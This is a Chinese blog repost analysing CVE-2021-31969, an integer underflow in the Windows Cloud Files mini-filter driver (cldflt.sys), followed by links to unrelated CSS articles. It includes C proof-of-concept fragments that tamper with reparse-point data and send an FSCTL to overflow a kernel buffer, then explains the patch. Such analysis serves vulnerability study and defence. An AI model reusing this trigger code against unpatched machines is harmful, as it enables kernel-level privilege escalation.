百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

「安全漏洞」Windows 云同步引擎API整数溢出漏洞

lipiwang 2024-12-01 00:49 8 浏览 0 评论

随着云存储的普及,各种操作系统都添加了支持云存储的服务和功能。现在可以在云端同步本地存储,同时也可以在系统上检索到文件。在 Windows 上,这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个 Cloud Filter API 的本机 API。该API实现可在 Cloud Files Mini Filter Driver 或 cldflt.sys 中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息,该漏洞的编号为CVE-2021-31969 / ZDI-21-797,它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。

『技术资料』

一、Cloud Sync Engines

Windows 中的Cloud Filter API 启用是从 Windows 10 版本的 1709 开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过 Windows 文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows 通过同步使关联的云文件显示出来。

二、漏洞利用方法

以下是PoC中关键步骤的描述:

1:首先执行同步注册。然后启动同步提供程序和同步过滤器 API 之间的通信:

WCHAR* dir = (WCHAR*)L"C:\\ProgramData"; 
GUID guid = { 0 }; 
guid.Data1 = 0xB196E670; 
guid.Data2 = 0x59C7; 
guid.Data3 = 0x4D41; 
CF_SYNC_REGISTRATION reg = { 0 }; 
reg.StructSize = sizeof(reg); 
reg.ProviderName = L"test"; 
reg.ProviderVersion = L"1.0"; 
reg.ProviderId = guid; 
CF_SYNC_POLICIES policies = { 0 }; 
policies.StructSize = sizeof(policies); 
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED; 
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; 
policies.InSync = CF_INSYNC_POLICY_NONE; 
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL; 
HRESULT hr = CfRegisterSyncRoot(dir, ?, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); 
if (FAILED(hr)){ 
    printf("CfRegisterSyncRoot failed with %p\n", hr); 
    return 0; 
} 
CF_CALLBACK_REGISTRATION table[2]; 
table[0].Callback = DoTransferCallback; 
table[0].Type = CF_CALLBACK_TYPE_FETCH_DATA; 
table[1].Callback = nullptr; 
table[1].Type = CF_CALLBACK_TYPE_NONE; 
CF_CONNECTION_KEY key; 
hr = CfConnectSyncRoot(dir, table, 0, CF_CONNECT_FLAG_NONE, &key);

2:获取目标目录的句柄并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析数据:

RtlInitUnicodeString(&name, ntDir);     
InitializeObjectAttributes(&oa, &name, 0, 0, 0); 
ret = NtCreateFile(&hF, 0xC0000000, &oa, &isb, 0, 0, 0, 3, 1, 0, 0); 
if (NT_SUCCESS(ret)) 
{ 
    ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_GET_REPARSE_POINT, 0, 0, rb, 0x300); 
    if (NT_SUCCESS(ret)) 
    { 
        // ...             
    } 
}

3:修改检索到的重解析数据,将长度设置为零。然后通过FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回原位(标签设置为 0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,设置参数以code= 0xC0000003通过cloud filter FSCTL ( 0x903BC)请求占位符更新。

rb[0xa] = 0;//set (USHORT) length to zero 
rb[0x9] = 0xfa; 
rb[0x8] = 0xfa; 
rb[13] = 0x22; 
rbLen += *(UINT16*)(rb + 4); 
rbSet = (char*)malloc(rbLen + setLen); 
memset(rbSet, 0, rbLen + setLen); 
*(UINT32*)(rbSet + 0) = 0; 
*(UINT32*)(rbSet + 4) = 0x9000301A; 
memcpy(rbSet + setLen, rb, rbLen); 
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_SET_REPARSE_POINT_EX, rbSet, setLen + rbLen, 0, 0); 
memset(output, 0, 0x100); 
*(UINT32*)(output + 0) = 0x9000001a; 
*(UINT32*)(output + 4) = 0xC0000003; 
*(UINT32*)(output + 8) = 0x10000; 
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, 0x903BC, output, 0x100, 0, 0);

三、内核漏洞

内核驱动程序cldflt.sys负责处理cloud filter FSCTL。函数中用了大量 switch 语句来完成工作,这个函数被命名为HsmFltProcessHSMControl:

图 1 - HsmFltProcessHSMControl 函数

对0xC0000003的操作,最终会调用HsmFltProcessUpdatePlaceholder:

图 2 - 调用 HsmFltProcessUpdatePlaceholder

经过一些处理,执行流程将达到HsmpRpReadBuffer。首先分配一个缓冲区,然后通过发出一个FSCTL_GET_REPARSE_POINT控制指令来检索重解析数据。检索到的数据可能已被攻击者修改,之后调用HsmpRpiDecompressBuffer:

图 3 - 调用 HsmpRpiDecompressBuffer

在HsmpRpiDecompressBuffer内部,提供的长度(攻击者已设置为零)被检索并增加 8。它保存在局部变量 length 中,然后用于分配内核缓冲区。之后,代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。但是,它传递给RtlDecompressBuffer的指针不是已分配缓冲区的开始。而是已分配缓冲区开始前的 12 个字节,以便为某些元数据腾出空间。相应地,它传递给RtlDecompressBuffer的缓冲区大小是length-12。在下面的反汇编代码中,减法被优化为ADD。在我们的例子中,这个减法产生了一个整数下溢,因此一个巨大的缓冲区长度值 0xFFFFFFF4 被传递给RtlDecompressBuffer,这会导致内核缓冲区溢出。

图 4 - 整数下溢漏洞

四、补丁分析

Microsoft 通过添加检查以确保检索到的长度不小于 4 来修复此漏洞,这使得无法触发整数下溢。

图 5 - 来自 Microsoft 的补丁

最后

学习网络安全可以私我获取『网络安全学习资料~攻略」

相关推荐

前端入门——css 网格轨道详细介绍

上篇前端入门——cssGrid网格基础知识整体大概介绍了cssgrid的基本概念及使用方法,本文将介绍创建网格容器时会发生什么?以及在网格容器上使用行、列属性如何定位元素。在本文中,将介绍:...

Islands Architecture(孤岛架构)在携程新版首页的实践

一、项目背景2022,携程PC版首页终于迎来了首次改版,完成了用户体验与技术栈的全面升级。作为与用户连接的重要入口,旧版PC首页已经陪伴携程走过了22年,承担着重要使命的同时,也遇到了很多问题:维护/...

HTML中script标签中的那些属性

HTML中的<script>标签详解在HTML中,<script>标签用于包含或引用JavaScript代码,是前端开发中不可或缺的一部分。通过合理使用<scrip...

CSS 中各种居中你真的玩明白了么

页面布局中最常见的需求就是元素或者文字居中了,但是根据场景的不同,居中也有简单到复杂各种不同的实现方式,本篇就带大家一起了解下,各种场景下,该如何使用CSS实现居中前言页面布局中最常见的需求就是元...

CSS样式更改——列表、表格和轮廓

上篇文章主要介绍了CSS样式更改篇中的字体设置Font&边框Border设置,这篇文章分享列表、表格和轮廓,一起来看看吧。1.列表List1).列表的类型<ulstyle='list-...

一文吃透 CSS Flex 布局

原文链接:一文吃透CSSFlex布局教学游戏这里有两个小游戏,可用来练习flex布局。塔防游戏送小青蛙回家Flexbox概述Flexbox布局也叫Flex布局,弹性盒子布局。它决定了...

css实现多行文本的展开收起

背景在我们写需求时可能会遇到类似于这样的多行文本展开与收起的场景:那么,如何通过纯css实现这样的效果呢?实现的难点(1)位于多行文本右下角的展开收起按钮。(2)展开和收起两种状态的切换。(3)文本...

css 垂直居中的几种实现方式

前言设计是带有主观色彩的,同样网页设计中的css一样让人摸不头脑。网上列举的实现方式一大把,或许在这里你都看到过,但既然来到这里我希望这篇能让你看有所收获,毕竟这也是前端面试的基础。实现方式备注:...

WordPress固定链接设置

WordPress设置里的最后一项就是固定链接设置,固定链接设置是决定WordPress文章及静态页面URL的重要步骤,从站点的SEO角度来讲也是。固定链接设置决定网站URL,当页面数少的时候,可以一...

面试发愁!吃透 20 道 CSS 核心题,大厂 Offer 轻松拿

前端小伙伴们,是不是一想到面试里的CSS布局题就发愁?写代码时布局总是对不齐,面试官追问兼容性就卡壳,想跳槽却总被“多列等高”“响应式布局”这些问题难住——别担心!从今天起,咱们每天拆解一...

3种CSS清除浮动的方法

今天这篇文章给大家介绍3种CSS清除浮动的方法。有一定的参考价值,有需要的朋友可以参考一下,希望对大家有所帮助。首先,这里就不讲为什么我们要清楚浮动,反正不清除浮动事多多。下面我就讲3种常用清除浮动的...

2025 年 CSS 终于要支持强大的自定义函数了?

大家好,很高兴又见面了,我是"高级前端进阶",由我带着大家一起关注前端前沿、深入前端底层技术,大家一起进步,也欢迎大家关注、点赞、收藏、转发!1.什么是CSS自定义属性CSS自...

css3属性(transform)的一个css3动画小应用

闲言碎语不多讲,咱们说说css3的transform属性:先上效果:效果说明:当鼠标移到a标签的时候,从右上角滑出二维码。实现方法:HTML代码如下:需要说明的一点是,a链接的跳转需要用javasc...

CSS基础知识(七)CSS背景

一、CSS背景属性1.背景颜色(background-color)属性值:transparent(透明的)或color(颜色)2.背景图片(background-image)属性值:none(没有)...

CSS 水平居中方式二

<divid="parent"><!--定义子级元素--><divid="child">居中布局</div>...

取消回复欢迎 发表评论: